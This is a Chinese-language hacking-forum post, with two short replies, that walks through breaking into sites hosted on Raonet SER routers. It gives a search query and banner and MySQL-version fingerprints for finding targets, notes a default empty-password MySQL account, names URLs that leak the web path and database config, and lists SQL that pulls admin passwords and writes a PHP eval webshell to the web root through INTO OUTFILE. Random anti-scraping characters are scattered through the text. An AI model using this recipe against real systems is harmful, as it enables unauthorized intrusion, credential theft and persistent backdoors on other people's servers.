利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

1：google搜索'Raonet Subscriber Ethernet Router'
! p% ^; F; t, S) E" T7 d
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

/ ~4 [6 s( e' C2 N9 u& j3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
1 Y+ w* ^& N4 U% [  U6 t+ H" p. q
, [3 w" h1 U) D* D. K//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
9 K. R6 S2 W. J* j& u4 O& P
4 ^/ h+ i/ L; `% W7 q) G
& Y9 f2 K, m5 `9 i% T0 E
/ }3 L1 [1 F3 M( }' D* ~: s+ s( ^入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php

. l- |7 r! H! o2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
3 e8 r) Z, w) `7 h, o  V3 N5 Vuse ser_500
select id,passwd from user;
4:通过数据库写入webshell，执行命令：
3 o7 X) t2 w6 q& f) {use mysql;
create table ok(cmd TEXT);
) p8 r% d; l8 A. D8 Kinsert into ok values("<?php @eval($_POST[cmd])?>");
0 u- r0 T, W+ h% v/ L$ m4 ~select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
: @0 c/ r/ c% d% _5 L9 Jdrop table ok;
0 q7 v1 _2 {8 w  f+ M% ^) ?; r5 ]- x9 l
7 W' B, ^4 C# E# Z# d  W: @5:连接后门shell.php

1 I6 A1 j. O& U: H6. 搞定！
" {. `. E- h9 t& z4 Q

jos666

不错哦，黑服务器补洞。。

Anthony~

这个后果可以很严重的说